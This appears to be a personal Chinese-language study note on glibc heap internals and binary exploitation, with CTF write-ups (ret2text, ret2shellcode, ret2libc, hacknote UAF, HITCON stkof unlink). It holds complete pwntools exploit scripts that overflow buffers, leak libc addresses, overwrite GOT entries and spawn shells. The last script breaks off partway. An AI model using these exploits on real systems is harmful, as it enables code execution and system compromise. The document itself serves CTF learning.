
    • smallbin free chunk && unsortedbin free chunk:

      image-20210821110650448

    • largebin free chunk:

      image-20210821110905308

    • last remainder chunk

      类似分页管理的外碎片,分配多余的空间搞成新的小chunk

    • topchunk:一次申请空间会得到多余的空间,使用剩下的空间作为topchunk

  • freechunk合并

    image-20210928202058784

    size:当前chunk的大小(不包含管理信息)

    prv_size:上一个chunk总大小

    由于size最低3字节一定为0,所以省略用作记录信息

    P:代表了上一个相邻的chunk是否为freechunk

  • 实验测试

    1. image-20210821131459626

      最小的chunk占0x20bit

prev_size的复用

  1. malloc的空间不包括管理信息部分,如:申请0x100空间实际占有0x102空间,有2字节的管理信息

  2. 向堆中写入数据:从低地址到高地址(与栈相反)

    image-20210821132651322

  3. 查看已分配chunk:

    heap

    image-20210821133353516

    为何size为0x111:申请0x100空间,管理信息0x10空间,size最低位P为1:0x110+1=0x111

    image-20210821134133233

    间接验证malloc参数不包含管理信息部分

  4. prev_size复用:

    假如在申请并回收0x20空间后(用户可用空间),再次申请0x28空间(用户可用空间),堆会如何分配

    image-20210821135617016

    由于prev_size信息无效了,此时会覆盖掉下一个chunk的prev_size,称为prev_size的复用,相当于申请0xn0和0xn8得到的空间是相同的

  5. 由于知道当前chunk的prev_size就可以知道上一个chunk的起始位置,这种称为物理链表

bin

  1. 什么是bin:类似回收站,存储free chunk

    struct malloc_state {
        /* Serialize access.  */
        __libc_lock_define(, mutex);    /* Flags (formerly in max_fast).  */
        int flags;    /* Fastbins */


        mfastbinptr fastbinsY[ NFASTBINS ];    /* Base of the topmost chunk -- not otherwise kept in a bin */

    //fastbin
        mchunkptr top;    /* The remainder from the most recent split of a small request */
        mchunkptr last_remainder;    /* Normal bins packed as described above */



        mchunkptr bins[ NBINS * 2 - 2 ];    /* Bitmap of bins, help to speed up the process of determinating if a given bin is definitely empty.*/
    /*
    bins[1]:unsortedbin
    bin[2~63]:smallbin
    bin[64~126]:largebin
    */


        unsigned int binmap[ BINMAPSIZE ];    /* Linked list, points to the next arena */
        struct malloc_state *next;    /* Linked list for free arenas.  Access to this field is serialized
           by free_list_lock in arena.c.  */
        struct malloc_state *next_free;    /* Number of threads attached to this arena.  0 if the arena is on
           the free list.  Access to this field is serialized by
           free_list_lock in arena.c.  */
        INTERNAL_SIZE_T attached_threads;    /* Memory allocated from the system in this arena.  */
        INTERNAL_SIZE_T system_mem;
        INTERNAL_SIZE_T max_system_mem;
    };
  2. 原理:

    • fastbin

      image-20210821162442336

      image-20210822122058623

      注意:

      1. 思考:fd不算管理信息,也能写入数据被覆盖?

      2. fd指向chunk头,而不是可写数据地址开始

      3. fastbin的下一个chunk的P信号一定为1,保证fastbin不会被合并,这样才fast

    • bin的双向链表(循环双向链队):适用于:unsortedbin、smallbin、largebin(更复杂)

      1. unsorted新增管理信息bk指向前一个chunk,最后一个bk指向头指针

        image-20210822121935021

        image-20210822122217891

        unsortedbin处理顺序:FIFO

      2. smallbin就是由多个不同大小的unsortedbin,每个bin的大小固定

        image-20210822122243112

        image-20210822122255993

      3. largebin:每个bin大小为范围,由于大小不定,所以新增两字节记录下一个chunk的大小

        image-20210822122312948

        image-20210822122322490

    • 寻找bin:

      1. 大小大于fastbin的范围,首先遍历unsortedbin,查找是否有满足大小的chunk,并且将相邻的freechunk合并,并分类到对应空间大小的bin中,如果没有找到再遍历small/largebin寻找

      2. 由于xxxbin类似队列处理(先进先出),所以使用双向链表加快处理速度

流程总结

  1. 最初malloc申请空间

    image-20210822170904812

  2. 过程malloc申请空间

    image-20210822171820124

堆溢出-寻找堆分配函数

malloc

  1. malloc的参数:用户申请的字节一旦进入申请内存函数中就变成了无符号整数,但整数溢出的存在使其负数依然能的到负数结果

calloc

  1. calloc 在分配后会自动进行清空,这对于某些信息泄露漏洞的利用来说是致命的

  2. calloc(0x20);
    //等同于
    ptr=malloc(0x20);
    memset(ptr,0,0x20);

realloc

  • 当 realloc(ptr,size) 的 size 不等于 ptr 的 size 时

    • 如果申请 size > 原来 size

      • 如果 chunk 与 top chunk 相邻,直接扩展这个 chunk 到新 size 大小

      • 如果 chunk 与 top chunk 不相邻,相当于 free(ptr),malloc(new_size)

    • 如果申请 size < 原来 size

      • 如果相差不足以容得下一个最小 chunk(64 位下 32 个字节,32 位下 16 个字节),则保持不变

      • 如果相差可以容得下一个最小 chunk,则切割原 chunk 为两部分,free 掉后一部分

  • 当 realloc(ptr,size) 的 size 等于 0 时,相当于 free(ptr)

  • 当 realloc(ptr,size) 的 size 等于 ptr 的 size,不进行任何操作

存在危险的函数

常见的危险函数如下

  • 输入

    • gets,直接读取一行,忽略 '\x00'

    • scanf

    • vscanf

  • 输出

    • sprintf

  • 字符串

    • strcpy,字符串复制,遇到 '\x00' 停止

    • strcat,字符串拼接,遇到 '\x00' 停止

    • bcopy

堆的填充长度

一个常见的误区是 malloc 的参数等于实际分配堆块的大小,但是事实上 ptmalloc 分配出来的大小是对齐的。这个长度一般是字长的 2 倍,比如 32 位系统是 8 个字节,64 位系统是 16 个字节。但是对于不大于 2 倍字长的请求,malloc 会直接返回 2 倍字长的块也就是最小 chunk,比如 64 位系统执行malloc(0)会返回用户区域为 16 字节的块。

例:

64位系统:malloc(24)

控制信息:16字节

用户需要空间:24字节

实际申请空间:32字节(对齐)

利用下一个chunk的prev_size信息补全8字节空缺

漏洞

unlink(堆合并)

  1. unlink过程

    image-20210926193647898

  2. 古老的unlink

    关于实际地址值构造为什么要加3*size_t或者2*size_t

    个人觉得比较靠谱理解:p是chunk的实际指针,p->pk与p的地址相差3size_t,即p->bk=(p+3*size_t)

    同理:p->fd=p+2*size_t

    即:p->fd=*(p+2*size_t)

    p->bk=*(p+3*size_t)

    与实际指针地址冲突吗?

    答:unlink里的FD和BK是整个chunk的指针, 不是用户指针ptr

  3. 现代漏洞

    存在检查:

    现代unlink

    // fd bk
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
    malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

    即固定FD->bk==P&&BK->fd==P,不能任意指向其他位置了

    • 如何绕过

      最终理解:

      1. 64位程序,size_t=8,p为当前chunk,FD=p->fd,BK=p->BK

      2. 首先要进入unlink函数,必须保证p的P标志位为1

      那么要让它绕过上边的检测,必须满足:

      • FD -> bk == P <=> *(FD + 12) == P

      • BK -> fd == P <=> *(BK + 8) == P

      1. 那么我们构造:

        BK=p-0x18

        FD=p-0x10

      2. 此时检测:p->fd->bk=*((p->FD)+0x18)=p

        同理:p->bk->fd=p

      3. 满足条件,如果存在相邻的freechunk,进行unlink操作(满足unlink条件程序自动操作)

        unlink操作:

        FD->bk=BK

        BK->fd=FD

        • 最终效果:p=p-0x18

        在unlink中:p的地址被改变

      4. 由此可见,实现了p的地址被改变,且下次edit这块chunk时,可以任意写入地址

    • 源码分析

      image-20210928203612844

    • 实例分析

      image-20210928203903691

例9

fast bin attack

  • 知识补充

    1. fastbin的fd&bd指针在used状态下无效,只有在free后才会有效

    2. 在free掉chunk时,会将该chunk放入对应fastbin中,在其fd&bk填入正确数据

    3. fastBin[Y]始终指向最新进入fastbin的chunk

    4. bin链通过chunk的fd指针链接

    5. 我们malloc申请的是可使用空间,真实size要+0x10

Fastbin Double Free

  1. 漏洞:

    • fastbin可被free多次free

    • fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空

    • fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

  2. 利用:

    image-20211003212802027

    typedef struct _chunk
    {
    long long pre_size;
    long long size;
    long long fd;
    long long bk;
    } CHUNK,*PCHUNK;
    CHUNK bss_chunk;

    int main(void)
    {
    void *chunk1,*chunk2,*chunk3;
    void *chunk_a,*chunk_b;
    //chunk_a之后将会指向这块区域,为了使chunk_a的指向合法,必须让其size合法
    //chunk_a的size与bss_chunk的size相对应
    bss_chunk.size=0x21;
    chunk1=malloc(0x10);
    chunk2=malloc(0x10);

    free(chunk1);
    free(chunk2);
    free(chunk1);

    chunk_a=malloc(0x10);
    *(long long *)chunk_a=&bss_chunk;
    malloc(0x10);
    malloc(0x10);
    chunk_b=malloc(0x10);
    printf("%p",chunk_b);
    return 0;
    }

    此程序可将chunk_b指向bss段的bss_chunk

例10

House Of Spirit

  1. #include <stdio.h>
    #include <stdlib.h>

    int main()
    {
    fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[7]);

    fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size

    fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
    // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks[9] = 0x1234; // nextsize

    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
    }
  2. 运行结果:

    ➜  how2heap git:(master) ./house_of_spirit
    This file demonstrates the house of spirit attack.
    Calling malloc() once so that it sets up its memory.
    We will now overwrite a pointer to point to a fake 'fastbin' region.
    This region (memory of length: 80) contains two chunks. The first starts at 0x7ffd9bceaa58 and the second at 0x7ffd9bceaa88.
    This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
    ... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
    The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
    Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffd9bceaa58.
    ... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
    Freeing the overwritten pointer.
    Now the next malloc will return the region of our fake chunk at 0x7ffd9bceaa58, which will be 0x7ffd9bceaa60!
    malloc(0x30): 0x7ffd9bceaa60
  3. 个人理解与解释:

     

use after free(释放重用攻击)

  1. 原理:在大空间free后,malloc稍微较小空间可以取到该块数据且可修改这部分数据。

  2. 产生原因:free掉空间后没有将指针置为NULL,造成仍然指向原位置

  3. 攻击效果:使得两个指针指向同一chunk,并且一个指针可写内容,一个可执行内容:

  4. 例题:例8

double free

  1. 原理:free了两次同一空间

    free(a)

    free(b)

    free(a)

    //绕过fastbin的检测:检测bin相邻两个chunk是否相同

    //只需中间free一个不同的chunk

    类似,malloc申请到相同空间,可同时修改这部分同一数据,实现权限低的指针可以获得权限高的指针的权限

  2. 攻击:

    • fastbin attak攻击栈:

      构造好doublefree的fastbin,释放后两个fastbin

      如:void *d=malloc(16)

      malloc(16)

      此时d指向原a数据,fastbin中仍存在一个a数据区

      修改d的第一项数据为任意栈地址,fastbin中会认为其为fd指针

      所以此时fastbin链上会多一个栈的“chunk”,若malloc到该区域

      既可以实现向栈写入任意数据

      注意:修改的fd指针应为需要修改地址向上两单位(除去管理信息:prev_size&size)

unsortedbin

  1. 实现向某一空间写入大数

  2. 原理:由于FIFO机制,首先归还第一个freechunk时,指针bk和fd的值会赋给bin头指针,此时若freechunk指向栈,那么就相当于其连接了栈的地址

house_of_force

漏洞的组合利用

  1. 堆溢出

    1. 填入垃圾数据,并将topchunk的size修改为0xffffffff

    2. 此时即可malloc到虚拟内存任意空间

  2. malloc的整数溢出

    1. malloc的参数为负数,相当于向topchunk下方溢出,可修改data段数据

      原理:大数相加溢出变成比二者都小的数

例题

例1(ret2text)

  1. checksec检测保护机制

  2. 放入ida观察他的c代码,发现有gets函数,有system("bin\bash");的shell指令调用函数

  3. 使用gets构造垃圾数据:16字节填充当前函数栈,4字节覆盖栈保存的ebp,4字节修改返回地址

    如何知道当前变量偏移(需覆盖的数据量):

    • ida一般会给当前变量相对ebp的偏移(16进制)

    • 动态调试(pwndbg中):执行到对应漏洞函数时,输入stack查看栈,可以看到准确的esp,ebp信息

    image-20210715140127465

    如何知道要跳转到函数的地址:

    • 在IDA中找到函数对应汇编指令,其开头就是其函数起始地址

    image-20210714221441390

  4. 覆盖地址修改为system调用函数地址即可实现获得shell控制权

  5. 开始写脚本:

    • 首先导入pwn包

      from pwn import *

    • 运行本地程序

      io = process("./ret2text")

      可以观察程序情况

      io

    • 接收一行字符串(主函数的输出字符串)

      io.recvline()

    • 构造payload

      payload=b'A'*16+b'BBBB'+p32(0x8048522)

    • 发送消息

      io.sendline(payload)

    • 交互

      io.interactive()

    • 得到shell

例2(ret2shellcode)

  1. checksec检测保护机制

    NX关闭

    没有canary

    但默认ASLR(地址随机化,会影响栈)是打开的,所以不能写到堆栈区

  2. image-20210716101429261

    发现位置变量buf2,双击发现在bss段,可以写入该段,且该地址为0x804a080

  3. 计算覆盖范围

    image-20210718154610026

    0xf8-0x8c=108

    108+4=112

  4. 构造机器码的系统调用(获取shell)

    buf=0x804a080

    payload=asm(shellcraft.sh()).ljust(112,b'A') #表示从机器码后方添加垃圾数据直到总长112字节

     

    构造最终payload

    payload+=p32(buf)

  5. 发送获取shell

    io=process("./xxx")

    io.recvline()

    io.sendline(payload)

    io.interactive()

例3(ret2stack)

  1. 64位程序首先说明

    context.arch="amd64"

  2. 计算覆盖区域

    image-20210718151017772

    0xf50-0xee0=112

    112+8=120

  3. 查看应该覆盖的返回地址:

    应该为printf输出的地址,详情见 缓冲区溢出/例3

    image-20210718152712110

    但实际运行python时的地址为

    image-20210718152800619

    最终测试以运行python时的地址为准

  4. 构造payload

    shell=asm(shellcraft.sh())

    buf=0x7fffffffdf60

    payload=shell.ljust(120,b'A')+p64(buf)

  5. 最终exp

    from pwn import *
    context.arch="amd64"
    io=process("./ret2stack")
    #io.recvline()
    buf=0x7fffffffdf60
    shellcode=asm(shellcraft.sh())
    payload=shellcode.ljust(120,b'A')+p64(buf)
    io.sendline(payload)
    io.interactive()

例4(ret2systemcall)

  1. 画图理解栈溢出需要的内容

    image-20210718204850801

    相当于执行了一条execve指令

  2. 寻找需要的数据

    • "/bin/bash"地址

      在IDA中使用字符串搜索shift+F12

      再ctrl+F进行搜索

    • pop &ret地址

      使用ROPgadget寻找

      ROPgadget --binary rop --only "pop|ret" |grep eax

      ......

      • pop eax

        ret

      • pop edx

        pop ecx

        pop ebx

        ret

    • int 80地址

      ROPgadget --binary XXX --only "int"

  3. 使用flat函数构造payload

    flat():将括号中的数据自动构造成字节型数据并且自动填充为字节

    payload=flat([b'A'*112,eax,0xb,edx_ecx_ebx,0,0,bin_bash,int_80])
  4. 最终exp

    from pwn import *
    io = process("./rop")
    io.recvline()
    eax=0x80bb196
    edx_ecx_ebx=0x806eb90
    bin_bash=0x80BE408
    int_80=0x8049421
    payload=flat([b'A'*112,eax,0xb,edx_ecx_ebx,0,0,bin_bash,int_80])
    io.sendline(payload)
    io.interactive()

例5 (ret2libc1)

  1. 寻找需要的数据

    • IDA中寻找plt标记的system地址

      image-20210726205005250

    • 覆盖需要字节数

      动态调试时输入16*'A',查看其起始位置,与ebp相减得到覆盖字节数

      image-20210726202621039

      即0xffffd118-0xffffd0ac+4(覆盖32位程序previous ebp)=112

    • 覆盖时栈中的类容

      • 参数位置(根据自己ebp向上2单位寻找参数)

    • bin/bash位置

  2. 根据动态链接调用过程,构建payload

    动态链接查看杂学中的动态链接与返回导向编程的ret2libc的知识点

  3. exp

    from pwn import *
    io =process("./ret2libc1")
    system_plt=0x8048460
    bin_bash=0x8048720
    payload=b'A'*112+p32(system_plt)+b'A'*4+p32(bin_bash)
    io.sendline(payload)
    io.interactive()

    注意:跳转到plt位置直接就自动跳转到system函数开始执行

  4. 小技巧

    • 通过pwntools来查找plt中system标记(注意中括号)

      image-20210726204350001

    • 使用linux自带strings来寻找文件是否存在/bin/sh

      image-20210726204629457

例6(ret2libc2)

  1. 使用IDA打开查看程序

    • 存在system函数

    • 没有/bin/sh

    • 存在全局变量buf2在bss节(地址固定)

    注:条件3很重要,是该题的考点

    image-20210727155208127

  2. 计算覆盖范围

    108+4=112

  3. 使用自带gets函数向buf2中写入bin/sh

    • 如何写入???

      首先自己的思路:查看gets的汇编代码,部分修改其汇编代码(指针指向的参数)来达到向buf2写入的效果

      错误:参数在ebp高2单位处

       

      然后再次的思路:直接跳转到函数自带的gets处

      错误:参数不同

      最后正确思路:跳转到plt中的gets,参数为ebp向上两单位

  4. 构造payload

  5. 构造exp

    from pwn import *
    io = process("./ret2libc2")
    buf2=0x804a080
    gets_plt=0x8048460
    system_plt=0x8048490
    payload=b'A'*112+p32(gets_plt)+p32(system_plt)+p32(buf2)+p32(buf2)
    io.sendline(payload)
    io.sendline(b'/bin/sh')
    io.interactive()

    注意:在发送payload之后,需要以用户输入的数据写入buf2,此时就应写入"bin/sh"

    发送b'/bin/sh'或者"/bin/sh"都可以

    最好写成b'/bin/sh\x00'

  6. 总结

    image-20210727164716852

  7. 学到的新知识

    • elf.symbols["xxx"]

      xxx指代符号,返回符号的地址

    • 特定情况如何自己写入/bin/sh

例7(ret2libc3)

  1. 与视频教学题目不同,此题为ctfwiki的ret2libc3

  2. 动态调试查看偏移量

    108+4=112

  3. 寻找system("/bin/sh")

    • 两个都没有,想如何替代

      1. bss段存在全局变量buf2,可写入/bin/sh

        使用libc中自带的/bin/sh,也是计算偏移量

      2. 通过libc.so文件函数之间偏移量固定,获取system与puts的偏移量

    • 如何构造ROP链

    首先注意:

    • 因为ASLR的存在,只有程序本身运行时输出的偏移地址是运行时的地址,叫做地址泄露

    • 在固定的libc版本中:两个函数之间的偏移量一定不变,即任意两函数之间字节数相同

  4. 真实地址=libc基址+偏移(以puts在本地libc中例)

    • 查看本机libc版本

      image-20210810113926541

    • 首先获得函数在libc中偏移

      #首先获得puts在本地libc偏移
      #libc=ELF("/lib/i386-linux-gnu/libc.so.6") #该地址为软链接(快捷方式)
      libc=ELF("/lib/i386-linux-gnu/libc-2.31.so") #实际文件
      puts_offset=libc.symbols["puts"]

      另一种方法在sh中

      readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "IO_puts"

      两种方法获得地址相同即可验证

    • 地址泄露获取运行时地址

      #构造ROP链
      payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
      puts_addr=u32(p.recv(4))

      解释:首先溢出使得返回到puts函数,函数的参数为其ebp向上2单位,这里为puts在got表中值,即puts在libc中的实际地址,此时程序会输出其真实地址,接收即可

      注意:

      • 需要返回主函数开始处,因为此次只是地址泄露,下次才能完全获取到权限

      • 接收到的数据:为底层的acsii编码,通过u32函数转化成10进制数

        接收到的数据为:b'`4\xdc\xf7'

        u32()后:4158403680

    • 计算获取libc基地址

      libcbase=puts_addr-puts_offset
    • 计算system真实地址

      sys_offset=libc.symbols["system"]
      sys_addr=sys_offset+libcbase

    libc中同样存在/bin/sh,同理获得

    注意:需要使用next(ELF.search["/bin/sh"])才能寻找libc中的字符串,而不能单纯用symbols

  5. 构造payload获取shell

  6. 攻击代码

    from pwn import *
    from LibcSearcher import *
    elf=ELF('./ret2libc3')
    libc=ELF("/lib/i386-linux-gnu/libc.so.6")
    p=process('./ret2libc3')
    puts_plt=elf.plt['puts']
    puts_got=elf.got['puts']
    start_addr = elf.symbols['_start']
    #gdb.attach(p)

    payload1=b'A'*112+p32(puts_plt)+p32(start_addr)+p32(puts_got)
    p.sendlineafter(b"!?",payload1)
    puts_addr=u32(p.recv(4))
    sys_offset=libc.symbols["system"]
    #sys_offset=0x45040
    puts_offset=libc.symbols["puts"]
    #puts_offset=0x70460
    sh_offset=0x18c338
    libcbase=puts_addr-puts_offset
    system_addr=libcbase+sys_offset
    binsh_addr=libcbase+sh_offset
    #payload2=b'A'*112+p32(system_addr)+p32("deadbeef")+p32(binsh_addr)
    payload2=b'A'*112+p32(system_addr)+p32(1234)+p32(binsh_addr)
    #py3要求p32中为数字
    p.sendlineafter(b"!?",payload2)
    p.interactive()
  7. 学习到的知识(总结)

    • ldd命令,查看当前程序依赖的libc,可以在根目录中找到,在此题中很有用

    • 一些python的命令

      elf.symbols["xxx"]

      elf.plt["xxx"]

      elf.got["xxx"]

    • 一些有用的shell命令

      readelf -a /lib/i386-linux-gnu/libc.so.6 | grep "system"

      strings /lib/i386-linux-gnu/libc.so.6 -tx| grep "/bin/sh"

      二者效果相近,但/bin/sh只能用strings找到,加上tx显示16进制地址,system函数用readelf才能找到

    • 地址泄露:寻找libc中真实地址

例8(hacknote)

  1. 分析程序,修改函数名(IDA反编译的c代码可能有错,但能猜个大概)

    小技巧:根据程序执行可加速理解程序

    image-20210827161444554

  2. 寻找漏洞:

    在add中有malloc申请8byte的chunk,然后该chunk第一4字节存的函数地址,可执行函数;剩余空间有malloc了size大小的空间,并且可向其中写入任意数据

    在delete时free函数没有将指针置空

    1. image-20210827171034668

  3. image-20210827171128054

    存在UAF漏洞

  4. 如何利用:

    1. 首先申请2个chunk,其size设置成不同与8

      image-20210827211102089

    2. 再将两个都free掉,到fastbin中去

      image-20210827211336216

    3. 再malloc8空间的chunk,会从fastbin中拿到8空间大小的chunk,该部分可被修改为任意数据

      image-20210827232959961

  5. exp

    from pwn import *
    io=process("./hacknote")
    elf=ELF("hacknote")
    libc=ELF("/lib/i386-linux-gnu/libc-2.31.so")
    system_offset=libc.symbols["system"]
    put_offset=libc.symbols["puts"]

    def add_note(size,content):
    io.recvuntil(b"Your choice :")
    io.sendline(b'1')
    io.recvuntil(b"Note size :")
    io.sendline(size)
    io.recvuntil(b"Content :")
    io.sendline(content)

    def delete_note(index):
    io.recvuntil(b"Your choice :")
    io.sendline(b'2')
    io.recvuntil(b"Index :")
    io.sendline(index)

    def print_note(index):
    io.recvuntil(b"Your choice :")
    io.sendline(b'3')
    io.recvuntil(b"Index :")
    io.sendline(str(index).encode())

    add_note(b'16',b'A'*16)
    add_note(b'16',b'A'*16)
    delete_note(b'0')
    delete_note(b'1')
    #put_plt=elf.plt["puts"]
    put_got=elf.got["puts"]
    #add_note(b'8',p32(put_plt)+p32(put_got))
    add_note(b'8',p32(0x804862b)+p32(put_got))
    #why add "put_plt"?
    #why use self_put
    print_note(0)
    put_addr=u32(io.recv(4))
    libbase=put_addr-put_offset
    system_addr=libbase+system_offset
    delete_note(b'2')
    add_note(b'8',p32(system_addr)+b"||sh")
    print_note(0)
    io.interactive()
  6. 注意:

    1. str函数:将对象转化为字符串型,如:'A'

      str().encode():将对象转化成数据流型,如:b'A'

    2. 泄露libbase为什么需要两段地址:p32(0x804862b)+p32(put_got)

      因为写入的信息分为两段:

      第一段为执行的函数地址

      第二段为函数的参数

      如:调用put函数,参数为got@put

    3. 2中为什么不使用plt@put

      未知

例9(2014-HITCON-stkof)

  1. 程序分析:

    • 主函数功能分析:

      选择功能

      1. alloc:输入size,malloc(size)字节空间,并使用全局变量s指向该段空间

      2. read_in:首先输入s,代表选中第s个chunk;再输入s,代表将读入字节的个数;再输入读入数据(此处存在堆溢出)

        size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
        • ptr -- 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针。

        • size -- 这是要读取的每个元素的大小,以字节为单位。

        • nmemb -- 这是元素的个数,每个元素的大小为 size 字节。

        • stream -- 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流。

      3. my_free:输入s代表选中第s个chunk,将其free掉

    • 变量的解释

    image-20210927205025212

  2. 思路:

    • 利用 unlink 修改 global[2] 为 &global[2]-0x18。

    • 利用编辑功能修改 global[0] 为 free@got 地址,同时修改 global[1] 为 puts@got 地址,global[2] 为 atoi@got 地址。

    • 修改 free@gotputs@plt 的地址,从而当再次调用 free 函数时,即可直接调用 puts 函数。这样就可以泄漏函数内容。

    • free global[1],即泄漏 puts@got 内容,从而知道 system 函数地址以及 libc 中 /bin/sh 地址。

    • 修改 atoi@got 为 system 函数地址,再次调用时,输入 /bin/sh 地址即可。

  3. unlink图解:

    image-20210929171602406

  4. 给定的答案(很多个人理解都在注释里边,认真看)

    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    if args['DEBUG']:
    context.log_level = 'debug'
    context.binary = "./stkof"
    stkof = ELF('./stkof')
    if args['REMOTE']:
    p = remote('127.0.0.1', 7777)
    else:
    p = process("./stkof")
    log.info('PID: ' + str(proc.pidof(p)[0]))
    libc = ELF('./libc.so.6')
    head = 0x602140


    def alloc(size):
    p.sendline('1')
    p.sendline(str(size))
    p.recvuntil('OK\n')


    def edit(idx, size, content):
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')


    def free(idx):
    p.sendline('3')
    p.sendline(str(idx))


    def exp():
    # trigger to malloc buffer for io function
    alloc(0x100) # idx 1
    # begin
    alloc(0x30) # idx 2
    # small chunk size in order to trigger unlink
    alloc(0x80) # idx 3
    # a fake chunk at global[2]=head+16 who's size is 0x20
    payload = p64(0) #prev_size
    payload += p64(0x20) #size
    payload += p64(head + 16 - 0x18) #fd
    payload += p64(head + 16 - 0x10) #bk
    payload += p64(0x20) # next chunk's prev_size bypass the check
    payload = payload.ljust(0x30, 'a')

    # overwrite global[3]'s chunk's prev_size
    # make it believe that prev chunk is at global[2]
    payload += p64(0x30)

    # make it believe that prev chunk is free
    payload += p64(0x90)
    edit(2, len(payload), payload)

    # unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
    free(3)
    p.recvuntil('OK\n')
    #此时已经完成unlink,因为3被free掉,而P标志位认为2也是free的
    #此时的bss段的s(0x602140)已经写入head+16-0x18,并认为他是第二块chunk
    #那么编辑第二块chunk,其实就是编辑bss段的(0x602140+16-0x18),要编辑到s指向的地方,需要填充8个字节垃圾数据,而其之后写入的就是s[1],s[2]...,而不是之前认为的往chunk里边写数据,why?
    #因为:我们讲s[2]当做P,存的是chunk地址,P的地址为P,*P=p-0x18,自然s[2]=&s[2]-0x18,那么编辑的自然就是bss段的数据了
    #注意:仅仅编辑unlink的这块内存会造成bss被修改,且效果只有一次,或者留着种子(bss地址)来进行多次bss段编辑
    payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
    stkof.got['atoi'])
    edit(2, len(payload), payload)

    # edit free@got to puts@plt
    #此处再次编辑的时候是把free的got表改成了put@plt,怎么改的?
    #我们拿普通chunk的修改做对比:修改普通chunk是修改s指向空间的内容,那么如果s指向free@got,那么它修改的就是free函数的got表
    payload = p64(stkof.plt['puts'])
    #为什么是edit(0)?后边所有index同理
    #根据源程序可发现s[0]是可用但没有malloc的,我们是可以向其中写入地址的
    #见下方图2,可知我们的的s[0]写入的是free@got,其余同理
    edit(0, len(payload), payload)

    # free global[1] to leak puts addr
    free(1)
    puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
    puts_addr = u64(puts_addr)
    log.success('puts addr: ' + hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    log.success('libc base: ' + hex(libc_base))
    log.success('/bin/sh addr: ' + hex(binsh_addr))
    log.success('system addr: ' + hex(system_addr))

    # modify atoi@got to system addr
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()


    if __name__ == "__main__":
    exp()

    image-20211001222526577

  5. 我自己写的exp

    from pwn import *
    from LibcSearcher import *
    io=remote("node4.buuoj.cn",25202)
    #io=process("./stkof")
    elf=ELF("./stkof")
    target=0x602140
    libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
    free_got=elf.got["free"]
    puts_plt=elf.plt["puts"]
    puts_got=elf.got["puts"]
    atoi_got=elf.got["atoi"]

    def add(size):
    io.sendline(b'1')
    io.sendline(str(size).encode())
    io.recvuntil(b"OK\n")

    def edit(index,size,content):
    io.sendline(b'2')
    io.sendline(str(index).encode())
    io.sendline(str(size).encode())
    io.send(content)#do not use "sendline",we don't need "\n"
    io.recvuntil(b"OK\n")

    def free(index):
    io.sendline(b'3')
    io.sendline(str(index).encode())
    #io.recvuntil(b"OK\n")

    add(0x100)
    add(0x30)
    add(0x80)

    payload=p64(0)+p64(0x20)+p64(target+16-0x18)+p64(target+16-0x10)+p64(0x20)+b'A'*8+p64(0x30)+p64(0x90)
    edit(2,len(payload),payload)
